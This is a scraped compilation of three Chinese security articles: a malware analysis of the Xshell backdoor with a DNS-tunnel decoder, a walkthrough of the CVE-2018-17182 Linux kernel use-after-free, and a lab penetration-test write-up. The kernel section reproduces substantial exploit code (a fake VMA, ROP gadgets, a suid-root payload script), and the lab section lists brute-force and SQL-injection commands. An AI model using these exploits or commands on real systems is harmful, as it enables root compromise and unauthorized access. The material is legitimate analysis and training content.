Config模块在初始化的过程中,先分别解出数据段保存的一些默认配置信息,然后把这些参数拼接起来,使用Root模块虚表中的DoEncipher函数进行加密,最后保存到一个用硬盘卷标号计算出来的路径里。同时Config模块提供了读取配置文件的接口。

Config模块的虚表共有3个函数

ModInit

该函数共有三个子功能

660000

http://p1.qhimg.com/t0183cf546bd0733780.png

该功能主要调用Config模块的GetDecodedConfigData函数,获取配置文件作为Payload,最终调用Online模块虚表的0x24功能(上传给CC服务器)

660001

http://p7.qhimg.com/t015401d1ea051713e2.png

功能主要就是传递了自己的功能ID,没有Payload

660002

http://p3.qhimg.com/t011d5e52bc87921d91.png

功能主要就是传递了下自己的功能ID,没有Payload

GetDecodedConfigData

该函数首先通过磁盘卷标号计算得到当前机器的配置文件路径。然后读取配置文件,并调用Root模块的DoDecipher解密后,返回结果给调用者。

http://p1.qhimg.com/t01f2cb3643a4dd3d09.png

GetEncodedVolumeSN

该函数首先获取系统盘的磁盘卷标号,根据压入的szKey计算出一个结果,然后调用Root模块的Base64Encode1Byte来加密得到加密串。

http://p4.qhimg.com/t01c1b7e943bedcbf79.png

默认配置信息主要为以下信息

http://p2.qhimg.com/t01a16f20dd98e3c53b.png

接着写入配置文件,分别通过磁盘卷标号,以及不同的key,得出四组不同的加密串

http://p1.qhimg.com/t01efbd3120306fe026.png

然后和依次系统路径”%ALLUSERSPROFILE%\”拼接得到最终配置文件的路径(例如C:ProgramDataYICIOPMIEYKOSIYMXIEUWSOY),最后将加密后的配置文件直接写入到该路径下。

Module_Install

Install模块主要用于检测进程环境、控制进程退出和进入后门流程。Install模块被ROOT模块调用其函数表的第二个函数开始执行,首先调整进程权限,然后调用Config模块函数表的第二个函数读取配置信息。

http://p2.qhimg.com/t015bed07d6931f6bcd.png

接着通过判断ROOT模块从上层获取的参数进行不同的流程:

http://p6.qhimg.com/t0179176e47bed653fd.png

当参数为234时,创建互斥体 “Global[16-48个随机字符]”,并直接调用Online模块函数表偏移为0x04的函数,即开始循环连接C&C服务器。

当参数为56时,尝试加载ID为106(这个模块不在默认内置的模块列表中,需要进一步下载)。

如果都不是以上情况,则尝试以系统权限启动winlogon.exe或者启动scvhost.exe,然后注入自身代码,然后启动Online模块。

http://p5.qhimg.com/t011a4bdc7e001b883b.png

同时Install模块还会提供检测当前运行环境的接口:是否在调试、是否被进程监控、流量监控等,下面是一些特征字符串和相关代码:

http://p0.qhimg.com/t018d7697050b9975e3.png

http://p1.qhimg.com/t015b4324f41f839a17.png

Module_DNS

该模块的主要功能是使用DNS协议处理CC通信过程。模块的函数表如下,对

http://p8.qhimg.com/t01941a23c32286f432.png

应的函数功能分别为:

http://p7.qhimg.com/t018b1c64630176ee78.png

模块的工作流程为:

在模块入口函数100编号对应的初始化过程中,模块会开启线程,等待其他插件数据到来,当收到数据时,调用dispatch将数据通过DNS发送到CC服务器。

其他插件调用该插件的第二个函数(也就是ThreadRecv函数)时,模块开启线程从CC接收数据,并将解码后的数据写到共享内存。

其他插件调用该插件的第三个函数(也就是RecvDataProc函数)可以取得该模块与CC服务器通信后的数据内容

其他插件调用该插件的第四个函数(也就是SendDataProc 函数)可以使用该模块向CC服务器发送数据内容。

在初始化函数中,创建一个线程,在线程内部通过互斥量等待,当互斥量被触发后,调用该模块的dispatch函数。

http://p2.qhimg.com/t011ac12a2e77861290.png

http://p8.qhimg.com/t01182d8454528e5190.png

从CC接收数据的代码过程

在通信过程中,开启线程接收数据

http://p4.qhimg.com/t01a36adb0dae84fd02.png

线程函数将接收到数据存储在结构体的0x60偏移处

http://p5.qhimg.com/t0149d1e8ddf2774b1c.png

接收到的数据首先判断接收到的数据长度是否符合要求,然后使用解码函数(DecodeCCData1)进行解码并判断解码后的内容格式是否符合。此后,使用同样的解码算法(DecodeCCData1)再对数据进行一次解码。

http://p4.qhimg.com/t016ad91b5171527e8e.png

将上面解码后的内容使用另一个解码算法(DecodeCCData2)进行解码,解出来的内容的第一个DWORD为解密KEY,使用解密KEY将接收到的数据进行解密后,判断解密后的内容的第一个WORD为数据包类型id,数据包类型ID包括:0,1,3三种。每种不同的数据包使用不同的结构类型和不同的解密算法。

http://p3.qhimg.com/t01e89cabb1bb2018e8.png

在对不同的数据类型的处理过程中,都会将解码后的内容写入到结构体偏移+0x5C的地址中,该地址就是数据传输时使用的共享内存地址。

http://p7.qhimg.com/t010e6587959e23c9b7.png

数据包的解密算法代码片段为:

http://p1.qhimg.com/t01c336440e890067c4.png

向CC发送数据的代码片段

http://p1.qhimg.com/t01fdd5db081ea613a4.png

代码分析对抗

样本使用到的技术很多,例如动态加载、花指令、反调试、多层解密、代码注入等,使用的这些技巧大大增加了安全人员分析工作所需要花费的时间,也能有效躲避杀软检测,并使一些分析工具产生异常而无法正常执行恶意代码流程。下面举例说明一下使用到的技巧:

代码中加入了大量的JMP类型花指令,还有一些无效的计算,比如下图中红框中ECX。

http://p7.qhimg.com/t01a2a662e9c82f8c1b.png

在每次获取API地址之后,都会检测API代码第一字节是否等于0xcc,如果等于则结束后续行为,否则继续。

http://p2.qhimg.com/t01b5d44a02e9d07479.png

Shellcode通过自身的配置信息,通过一个for循环,循环4次。每次根据EDI定位配置信息,通过下面的结构体来获取要拷贝的数据的大小,将所有需要的数据拷贝到申请的内存中。然后解密数据。

http://p7.qhimg.com/t01c7f3ab9688fa9e4f.png

循环拷贝数据

关联分析及溯源

8月的域名为 nylalobghyhirgh.com,360威胁情报中心显示此域名为隐私保护状态:

http://p4.qhimg.com/t0175b5f04b6ea2f48a.png

此域名目前在7月23日被注册,8月3日达到解析量的顶峰,360网络研究院的数据显示解析量巨大,达到800万。

http://p0.qhimg.com/t0111a5f316411b7275.png

所有的请求类型为NS记录,也就是说域名极有可能被用来析出数据而不是用于C&C控制,这与前面的分析结论一致。

而notped.com作为已知的相关恶意域名,我们发现其注册人为Yacboski Curtis,据此关联点找到了一些其他的关联域名,具体见附件的IOC节,由于这些域名并没有找到对应的连接样本,目前只是怀疑,不能确定就是其他的相关恶意域名。

http://p9.qhimg.com/t01065667d2bd27afa5.png

参考链接

https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html

ShadowPad in corporate networks

https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf

附件

IOC列表

http://p3.qhimg.com/t01a439c264db9e1990.png

http://p6.qhimg.com/t01e3ff6a63d1f6ca0a.png

DNS 隧道编解码算法

Xshell后门代码通过DNS子域名的方式向C&C服务器输出收集到的主机信息,以下是分析得到的编码算法及实现的对应解码程序。

编码算法是先经过下图的算法1加密成二进制的形式如图:

http://p5.qhimg.com/t01c2454eb72ec92f0f.png

算法1加密后的数据:

http://p7.qhimg.com/t0133c3e8ab8862fa8a.png

然后把结果转换成可见的字符转换方法是通过每个字节的高位减‘j’低位减‘a’,把1个字节拆分成2个字节的可见字符,这样就浪费了一个字节:

http://p1.qhimg.com/t0192c199959b248f3d.png

解密算法是加密算法的逆运算,解密算法流程入下图:

http://p3.qhimg.com/t010e904d067e764b1e.png

根据网上的一些公开的流量数据,

http://p8.qhimg.com/t016b9b9444a78613cc.png

解密出的一些上传的数据:

http://p5.qhimg.com/t01ca41c497f1f8f328.png

实现的解码代码如下:

int sub_1C3E(int a1, unsigned char* a2, int a3, int a4)
{
char v4; // cl@1
int v5; // esi@1
unsigned char* v6; // edi@2
byte v7[1024]= {0}; // eax@11
char v8; // dl@11
int v10; // [sp+4h] [bp-10h]@1
int v11; // [sp+8h] [bp-Ch]@1
int v12; // [sp+Ch] [bp-8h]@1
int v13; // [sp+10h] [bp-4h]@1
v4 = 0;
v5 = 0;
v10 = a1;
v11 = a1;
v12 = a1;
v13 = a1;
int i = 0;
if ( a3 > 0 )
{
v6 = a2 – a4;
do
{
if ( v5 & 3 )
{
switch ( v5 & 3 )
{
case 1:
v11 = 0xBFD7681A – 0x7DB1F70F * v11;
v4 = (*((byte *)&v11 + 2) ^ (*((byte *)&v11 + 1)
+ (*((byte *)&v11) ^ v4)))
– *((byte *)&v11 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
case 2:
v12 = 0xE03A30FA – 0x3035D0D6 * v12;
v4 = (*((byte *)&v12 + 2) ^ (*((byte *)&v12 + 1)
+ (*((byte *)&v12) ^ v4)))
– *((byte *)&v12 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
case 3:
v13 = 0xB1BF5581 – 0x11C208F * v13;
v4 = (*((byte *)&v13 + 2) ^ (*((byte *)&v13 + 1)
+ (*((byte *)&v13) ^ v4)))
– *((byte *)&v13 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
}
}
else
{
v10 = 0x9F248E8A – 0x2F8FCE7E * v10;
v4 = (*((byte *)&v10 + 2) ^ (*((byte *)&v10 + 1)
+ (*((byte *)&v10 ) ^ v4)))
– *((byte *)&v10 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
}
}
while ( v5 < a3 ); printf("Last Step Decode:%s", (char*)v7); } return 0; } int _tmain(int argc, _TCHAR* argv[]) { unsigned char szText[117] = "ajajlyoogrmkdmnndtgphpojmwlvajdkbtephtetcqopnkkthlplovbvardopqfleonrgqntmresctokkxcnfvexhjpnpwepgnjubrbrbsenhxbkmy"; unsigned char szXXX[58] = {0}; for (int i=0; i<57; i++) { unsigned char One = szText[2*i] - 'a'; unsigned char Two = szText[2*i+1] -'j'; printf("%d, %drn", One, Two); unsigned char Total = One+Two*16; szXXX[i] = Total; } printf("First Step Decode:%s", (char*)szXXX); sub_1C3E(0, szXXX, 56, 0); //算法1 return 0; } ShellCode的处理 本次后门多次解出ShellCode的过程都是用的同一套模版代码。经过分析发现PE的一些基本信息还是保留了的,ShellCode解码用到的结构整理如下: struct ShellContext { u32 dwShellKey;//用于解密重定位表以及输入表的数据 u32 HeadCheck;//和dwShellKey异或用来校验Key是否合法 u32 SizeOfImage;//Image大小 u32 ModBase;//默认基地址 u32 RelocTable;//重定位表偏移 u32 RelocSize;//重定位表大小 u32 ImportTable;//输入表偏移 u32 ImportSize;//输入表大小 u32 OEP;//OEP地址 u16 Magic;//010b为pe32 u8MajorVer;//链接器版本 u8 MinorVer;// u32 NumberOfSections;//节表数 u32 timeStamp;//时间戳 SectionDescsecArray[1]; //节表描述数组 }; 下面介绍下ShellCode的加载过程,在调用Loader之前先将ShellCode起始地址以及大小入栈。 http://p8.qhimg.com/t01b9c3fa81e820e838.png 然后进入Loader部分处理流程: 1)从PEB里找到Kernel模块,从中找到LoadLibrary,GetProcAddress,VirtualAlloc以及Sleep,以备后续过程使用。 2)接着利用ShellCode中的SizeOfImage去分配内存。 http://p4.qhimg.com/t01800193bde9ed37c7.png 3)往分配的内存头部填充垃圾数据,一直填充到代码段开始。 http://p4.qhimg.com/t01bf59e4690d6a7a12.png 4)根据结构里保存的节表信息,依次填充到分配的内存。 5)如果结构里重定位信息不为空,则使用dwShellKey去解密重定位数据并利用重定位数据去修正内存的数据。处理完之后把重定位数据清零。 解密重定位数据的算法还原如下 http://p7.qhimg.com/t01eb8cbe9a599448a7.png 6)如果输入表信息不为空,接着使用重定位处理用的dwShellKey去解密输入表对应的字符串信息,如果是ordinal方式的则不做处理。使用解密了的DLL名以及API名获取到API地址后,并不直接填充,而是先把地址做求补操作后,生成一个小的stub再填进去。 最后再把输入表用到的数据清零。 解密输入表的流程还原如下: http://p5.qhimg.com/t0168ab19f18b1371e7.png http://p6.qhimg.com/t0102bebd241510cb39.png 7)跳到入口处执行,并设置fdwReason为1。 http://p1.qhimg.com/t01dfbc49c36079a4d3.png 根据保留的结构可以大致还原出本来模块文件。 http://p9.qhimg.com/t011a4dc18cb1b4d028.png http://p0.qhimg.com/t016bbac770494f36dc.png 本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/86655 安全客 - 有思想的安全新媒体 安全知识 360威胁情报中心 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter |推荐阅读 ETW注册表监控windows内核实现原理 2019-02-21 14:30:47 WordPress 5.0.0远程代码执行漏洞分析 2019-02-21 11:30:53 Lucky双平台勒索者解密分析 2019-02-21 10:45:27 off by null漏洞getshell示例 2019-02-20 16:59:40 |发表评论 发表你的评论吧 昵称 管理员 换一个 |评论列表 还没有评论呢,快去抢个沙发吧~ 360威胁情报中心 这个人太懒了,签名都懒得写一个 文章 87 粉丝 27 TA的文章 盲眼鹰(APT-C-36):持续针对哥伦比亚政企机构的攻击活动揭露 2019-02-19 14:33:15 1月政企终端安全态势分析报告 2019-02-18 15:19:45 疑似Molerats APT组织针对中东地区的最新攻击活动分析 2019-02-15 10:38:53 2018年全球十大APT攻击事件盘点 2019-02-08 10:07:13 全球高级持续性威胁2018年总结报告 2019-02-06 10:47:02 输入关键字搜索内容 相关文章 360 | 数字货币钱包APP安全威胁概况 以太坊智能合约安全入门了解一下(下) 对恶意勒索软件Samsam多个变种的深入分析 360 | 数字货币钱包安全白皮书 Json Web Token历险记 揪出底层的幽灵:深挖寄生灵Ⅱ 简单五步教你如何绕过安全狗 热门推荐 安全客Logo 安全客 安全客 关于我们 加入我们 联系我们 用户协议 商务合作 合作内容 联系方式 友情链接 内容须知 投稿须知 转载须知 合作单位 安全客 安全客 Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 Loading...0daybank

17182

17182
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
CVE-2018-17182 VMA use-after-free 详解
阅读量 88325 | 评论 11 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-10-17 10:00:31

漏洞分析
内核在3.16版本之后对vma的查找进行了优化:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849

新的vma缓存机制
在task_struct中加入了一个vmacache数组和一个32位的vmacache_seqnum值。在mm_struct结构中加入了一个32位vmacache_seqnum值,并且在此基础上定义了一系列操作函数

vmacache_invalidate函数,用来将mm_struct的vmacache_seqnum加一,使其不等于当前线程的current->vmacache_seqnum。

vmacache_find
更新了vma_find函数,在这个位置会调用vmacache_find

vmacache_find
vmacache_find检索当前线程的vmacache缓存数组,如果地址范围在其中某一个vma的地址范围中,直接返回这个vma,不需要再进行红黑树检索
vmacache_find还会调用vmacache_valid,在其中会检查current->vmacache_seqnum是否等于current->mm->vmacache_seqnum,如果之前有过调用vmacache_invalidate,在这里会直接去调用vmacache_flush函数,刷新task_struct的vmacache链表之后会返回null。

vmacache_find函数在返回null后,vma_find会再去搜索红黑树找到合适的vma。找到vma之后,调用vmacache_update
vmacache_update会将找到的vma加入当前线程的vmacache缓存数组中

漏洞具体位置
但是这个32位的值是可以被溢出的,于是在vmacache_invalidate中会有溢出的检查,如果回到0,就会刷新vmacache缓存数组。
本来这套机制是没有问题的,但是溢出后每次刷新线程的vmacache数组都需要遍历所有线程,太耗费时间

于是又发布了一次新的更新,如果是单线程的话不用对其刷新,直接返回。

但是这样就存在一个问题,如果在溢出之后,在调用vmacache_valid之前,立即申请一个新线程。这个时候之前的单线程的current->vmacache_seqnum仍然为0xffffffff,并没有更新为0。因为线程虽然没一个线程都有一个单独的task_struct,但是是共享同一个mm_struct的,这个时候在另一个新创建的线程之中将mm_struct的seqnum刷新为0xffffffff,在先前的但线程中就可以利用其vmacache数组里面已经释放了的vma,实现use after free。

我们再来看看mmap和munmap函数是如何改变seqnum的值。

也就是说,调用munmap去解除vma映射的时候,会调用vmacache_invalidate将相应的mm_struct的seqnum增加1。并且最后会调用
kmem_cache_free(vm_area_cachep, vma)将对应的vm_area_struct free掉使其回到slab分配器的free list。

并且再mummap开始的时候会调用find_vma,这会更新vmacache或者是刷新它。

再来看mmap函数:在其中会调用mmap_region,然后调用

其中会调用vm_area_alloc,在其中调用kmem_cache_zalloc()。这个函数主要用于向内核的slab分配器分配专门大小的object。

漏洞利用
现在我们结合着漏洞发现者在github上贴出的具体的漏洞利用代码去分析一下具体的利用过程。

漏洞利用代码https://github.com/jas502n/CVE-2018-17182

我们首先将作者的代码定义的每个函数具体功能进行分析,之后结合漏洞进行总体的串联

漏洞发现者的利用代码实现了一套ioctl系统来辅助漏洞的利用,其中关键的cmd是DMESG_DUMP用来调用vmacache_debug_dump()实现dump当前mm结构的信息,SEQUENCE_BUMP,用来更新当前线程mm_struct的seqnum。

case DMESG_DUMP: {
vmacache_debug_dump();
return 0;
} break;
case SEQUENCE_BUMP: {
current->mm->vmacache_seqnum += arg;
return 0;
} break;`
vmacache_debug_dump():

void vmacache_debug_dump(void)
{
struct mm_struct *mm = current->mm;
struct task_struct *g, *p;
int i;

pr_warn(“entering vmacache_debug_dump(0x%lx)n”, (unsigned long)mm);
pr_warn(” mm sequence: 0x%xn”, mm->vmacache_seqnum);
rcu_read_lock();
for_each_process_thread(g, p) {
if (mm == p->mm) {
pr_warn(” task 0x%lx at 0x%x%sn”, (unsigned long)p,
p->vmacache.seqnum,
(current == p)?” (current)”:””);
pr_warn(” cache dump:n”);
for (i=0; ivmacache.vmas[i]);
err |= probe_kernel_read(&vm_start,
&p->vmacache.vmas[i]->vm_start,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_end,
&p->vmacache.vmas[i]->vm_end,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_mm,
&p->vmacache.vmas[i]->vm_mm,
sizeof(unsigned long));
if (err)
continue;
pr_warn(” start=0x%lx end=0x%lx mm=0x%lxn”,
vm_start, vm_end, vm_mm);
}
}
}
再看puppet.c
首先我们有一个全局变量sequence_mirror,用于标记mm_struct的seqnum的值

static void sequence_double_inc(void) {
mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 2;
}
static void sequence_inc(void) {
mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 1;
}
这两个函数分别用于将mm_struct->vmacache_seqnum的值分别增加2和1。具体的原理是 首先在main函数中创建一个三个页的匿名映射。之后通过带有MAP_FIXED的mmap去申请第一页或者中间页的映射。如果是中间页,则会munmap开头和结尾两页,造成seqnum的两次递增。之后再进行合并。同理,开头一页的话则会造成一次递增。

static void sequence_target(long target) {
while (sequence_mirror + 2 <= target) sequence_double_inc(); if (sequence_mirror + 1 <= target) sequence_inc(); } 这个函数用于将sequence_mirror递增到指定值。 再来说说利用代码里面的进程之间通信的机制: int control_event_fd = eventfd(0, EFD_SEMAPHORE); if (control_event_fd == -1) err(1, "eventfd"); if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair)) err(1, "socketpair"); pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL); close(kmsg_fd); close(control_fd_pair[0]); if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2"); close(control_fd_pair[1]); if (dup2(control_event_fd, 1) != 1) err(1, "dup2"); execl("./puppet", "puppet", NULL); err(1, "execute puppet"); } close(control_fd_pair[1]); int bpf_map = recvfd(control_fd_pair[0]); 分别创建了eventfd和socketpair。并切将其重新定向为0和1。前者用于将子进程阻塞,在主进程中实现了将fake vma伪造完后发送信号让子进程继续去触发缺页异常,从而实现对控制流控制。后者定义了双向的套接字,用于将我们申请的bpf_map传回。bpf_map会在后文进行分析。 现在我们具体分析漏洞利用流程 在main函数中,我们在实现一系列初始化之后创建子进程,并在其中 execl("./puppet", "puppet", NULL); 在puppet中,我们首先申请一个三页的mmap匿名映射,用于增加mm—>vmacache_seqnum。

之后在不创建线程的前提下先将mm的seqnum更新为0x100000000L – VMA_SPAM_COUNT/2

sequence_cheat_bump(0xffff0000L);
sequence_target(0x100000000L – VMA_SPAM_COUNT/2);
之后我们申请5000个mmap映射,根据之前的分析,在slab分配器中也分配了5000个vm_area_struct。

for (unsigned long i=0; ivmacache_seqnum已经被溢出变成了0。而且current->vmacache缓存数组保存着我们最后一次mummap所释放的vma结构。由于是但线程,所以并没有flush vmacache数组给了我们use after free的条件。

for (unsigned long i=0; i 0 && strstr(buf, “—[ end trace”))
break;
}
rop chain
利用我们之前通过dmesg泄漏的地址,最终我们需要伪造一个vma结构,其中的几个关键点是:vm_start和vm_end,vm_start必须设置0x7fffffffd000或者是随便一块没有被映射的区域,这样我们在解应用这块区域去触发页错误的时候,我们会找到我们伪造的vma。

第二个关键点是vm_ops,我们将会在子进程中调用eventfd来阻塞,直到我们在将fake vma写入到我们的bpf之后,在阻塞完毕之后,主进程再次阻塞。这个时候我们的子进程解引用一个没有建立页表映射的内存位置,触发缺页异常。因为我们之前已经伪造了vm_start,这个时候我们会触发 __do_fault函数,在其中调用我们伪造的vma的vm_ops的falut函数。
我们仔细来看伪造的vm_area_struct和payload。

char kernel_cmd[8] = “/tmp/%1”;
struct vm_area_struct fake_vma = {
.vm_start = 0x7fffffffd000,
.vm_end = 0x7fffffffe000,
.vm_rb = {
.__rb_parent_color =
(eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
.rb_right = vma_kaddr
+ offsetof(struct vm_area_struct, vm_rb.rb_left)
/*rb_left reserved for kernel_cmd*/
},
.vm_mm = mm,
.vm_flags = VM_WRITE|VM_SHARED,
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
– offsetof(struct vm_operations_struct, fault),
.vm_private_data = eventfd_fops-0xd8da5f,
.shared = {
.rb_subtree_last = vma_kaddr
+ offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
– 0x88,
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
}
};
vm_ops的位置是

.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
– offsetof(struct vm_operations_struct, fault),
vma_kaddr的值就是我们通过dmesg获得的已经失效的vma缓存的地址,也就是我们将要通过bpf伪造的vma,这样的话我们调用vm->vm_ops->fault就是等于调用了 vma_kaddr + offsetof(struct vm_area_struct, vm_private_data),而这个值在我们伪造的vma中是vm_private_data,我们已经将其伪造成了内核rop:

ffffffff810b5c21: 49 8b 45 70 mov rax,QWORD PTR [r13+0x70]
ffffffff810b5c25: 48 8b 80 88 00 00 00 mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0 test rax,rax
ffffffff810b5c2f: 74 08 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
<__x86_indirect_thunk_rax>就是等于是 call rax,而rax的值是r13+0x88,r13的值就是我们伪造的vma的地址。也就是call vma struct+0x88的位置,

在这个位置是

.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
我们放上来另一个内核rop

ffffffff810a4aaa: 48 89 fb mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20 mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28 mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00 call ffffffff81c03000<__x86_indirect_thunk_rax>
这里我们将call vma+0x20,参数是vma+0x28,我们已经在结构中伪造了将vma+0x20是run_cmd,vma+0x28也就是vm_rb.rb_left的值是”/tmp/%1”
而这里面我们早就写入了

char *suid_tmpl = “#!/bin/shn”
“chown root:root ./suidhelpern”
“chmod 04755 ./suidhelpern”
“while true; do sleep 1337; donen”;
这样直接给suidhelper以root权限。

之后我们伪造一个fake page,offset的值是

if (offset + sizeof(fake_vma) <= 0x1000) { memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma)); } else { size_t chunk_len = 0x1000 - offset; memcpy(fake_vma_page + offset, &fake_vma, chunk_len); memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len); } offset的值我们通过 long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff; 得倒,因为我们要的是在这个页中的偏移位置,所以需要 &0xfff就是在这个页的偏移量。但是还需要减去0x90 bpf map header,因为bpf update的时候会自动加上偏移量。 这样我们需要的东西已经全部准备好,直接通过 bpf_(BPF_MAP_UPDATE_ELEM, &update_attr) 将伪造好的页写入到内核,即可将我们在vmacache中的vma覆盖掉。之后通过触发缺页异常去执行vm_ops->的fault,从而实现整个rop chain 的利用。之后我们的主进程虽然会崩溃掉,但是我们已经以root权限打开了新的可执行文件sulidhelper,在其中弹出一个shell,实现了内核态的提权。

参考链接
https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/161632
安全客 – 有思想的安全新媒体
linux内核安全 CVE-2018-17182

张政 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
Dir溢出大神
换一个
|评论列表
Dir溢出大神 · 2018-12-28 16:09:02 回复
问一下,run_cmd的地址是通过符号表找到的吗

我不是黑客 · 2018-11-16 09:30:38 回复
请教下,thread_create创建子线程为什么要使用asm volatile,而不直接使用系统函数clone呢

熊猫烧香作者 · 2018-10-20 14:04:56 回复
有理有据,透彻入理

张政 · 本文作者 · 2018-10-20 19:48:00 回复
谢谢,有空多交流

熊猫烧香作者 · 2018-10-18 22:19:09 回复
漏洞是仁类进步的阶梯

越南邻国宰相 · 2018-10-17 21:23:12 1 回复
高智商玩转的东西,了不起

黑帽子 · 2018-10-17 19:19:26 1 回复
长知识了。

妇科圣手 · 2018-10-17 18:06:01 1 回复
大佬啊!

白帽子 · 2018-10-17 10:45:45 5 回复
作者真大佬啊

你全家都是黑客 · 2018-10-17 11:01:18 4 回复
。。。。。老白别搞我

管理员 · 2018-10-17 10:54:11 4 回复
漏洞发现者是真大佬,我就是个分析分析的爱好者

张政
maybe that makes me a fool
文章
1
粉丝
0
TA的文章
CVE-2018-17182 VMA use-after-free 详解
2018-10-17 10:00:31
输入关键字搜索内容
相关文章
ETW注册表监控windows内核实现原理
WordPress 5.0.0远程代码执行漏洞分析
Lucky双平台勒索者解密分析
off by null漏洞getshell示例
RSAC创新沙盒2019:云、身份、应用安全成为焦点
HackIMshop的解析及学习
HTB靶机渗透实战——Carrier
热门推荐
文章目录
漏洞分析
新的vma缓存机制
漏洞具体位置
漏洞利用
如何绕过kaslr?
rop chain
参考链接
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

black market

black market
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
渗透测试实战-BlackMarket靶机入侵
阅读量 33566 | 评论 27 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-04-28 17:00:21

#前言
最近一直再Down各种靶机,但是也是看靶机的名字比较酷才下载,不过后面觉得不止止是名字酷还比较难,本菜在工作之余做的,整整花了近10天时间才全部搞定,其中也踩了很多坑,不过真的还是学到不少新东西(比较菜,可能对各位大佬来说不算新技术),故写出这篇文件分享/记录整个过程。本次测试已拿到全部Flag和拿下主机root权限为止。
(如果大家条件允许的情况下可以先试着自己搭建自己先搞一遍,再来看这篇文章!)

# 准备环境
靶机IP:192.168.1.128
攻击IP:192.168.1.129
靶机下载地址:https://pan.baidu.com/s/1w-kAhbYZ-ubWFgUhO2AtmA

# 实操
nmap神器开路:

可以看到该靶机开放了多个端口,老规矩我们还是从WEB端入手看看有没有什么突破,
访问网站,一个普通的登陆界面,我们查看源码,拿到第一个flag:
flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=}

看到这个flag编码是不是很熟悉?没错base64,解密后为:CIA – Operation Treadstone (后面出现的所有flag都是该编码,不重复说明了。)
拿到这个信息,肯定是Google一波,得到一个介绍的站点:

使用cewl来爬取该关联网站来生成字典,命令:
cewl -d -m -w out.txt http://bourne.wikia.com/wiki/Operation_Treadstone
查看字典

使用hydra爆破FTP(跑这个密码时加载产生了几十万条数据,破解到奔溃…)
得到账号密码: nicky / CIA

登录FTP,拿到flag:
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy} (此处为:Congrats Proceed Further 恭喜进行进了一步)
If anyone reading this message it means you are on the right track however I do not have any idea about the CIA blackmarket Vehical workshop. You must find out and hack it!

(注,为了文章美观才把flag2写在这里,其实这个flag本菜是后面才找到…本flag也可以通过后面的webshell拿!)

我们继续回到80端口,通过跑目录得到多个目录

其中发现了supplier目录,试着用supplier/supplier 登陆进了系统…

然后切换到/admin 目录,在查看,编辑其他用户时,发现每个用户对应的id值都不一样,如”user“是id=2,“supplier”是 id=4,创建一个新用户ID变成9,

有经验的小伙伴已经明白后面该怎么搞了,我们创建一个admin账号,id改为1,密码随意,拿到第四个flag:
Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ????? (此处为:nothing is here 此处没有)

在测试中还发现了,在创建用户处有SQL注入,我们使用sqlmap跑一波
sqlmap -r 666.txt –dump -C FlagId,Information,name -T flag -D BlackMarket
拿到flag3:
